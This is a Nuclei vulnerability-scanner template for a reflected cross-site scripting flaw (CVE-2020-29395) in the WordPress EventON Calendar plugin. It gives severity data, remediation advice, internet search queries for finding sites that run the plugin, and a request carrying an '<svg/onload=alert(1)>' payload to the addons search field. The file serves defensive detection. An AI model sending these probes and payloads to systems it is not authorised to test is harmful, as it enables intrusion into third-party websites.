nuclei-templates/http/cves/2020/CVE-2020-29395.yaml

76 lines
2.5 KiB
YAML

id: CVE-2020-29395
info:
name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
remediation: |
Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.
reference:
- https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
- https://www.myeventon.com/news/
- https://nvd.nist.gov/vuln/detail/CVE-2020-29395
- http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-29395
cwe-id: CWE-79
epss-score: 0.03946
epss-percentile: 0.91992
cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: myeventon
product: eventon
framework: wordpress
shodan-query:
- "http.html:/wp-content/plugins/eventon/"
- http.html:/wp-content/plugins/eventon-lite/
fofa-query:
- "wp-content/plugins/eventon/"
- body=/wp-content/plugins/eventon/
- body=/wp-content/plugins/eventon-lite/
publicwww-query:
- "/wp-content/plugins/eventon/"
- /wp-content/plugins/eventon-lite/
google-query: "inurl:\"/wp-content/plugins/eventon/\""
tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm,myeventon
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/plugins/eventON/'
- method: GET
path:
- '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg/onload=alert(1)>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100ab5aa0c7af986981d5a04ab1b49d404398c397bbbb97d7f396e73df3ab7a42ce02210089eee2575b4064d07c98e6d5a7843594393048936f1b334241c819a9edab8022:922c64590222798bb761d5b6d8e72950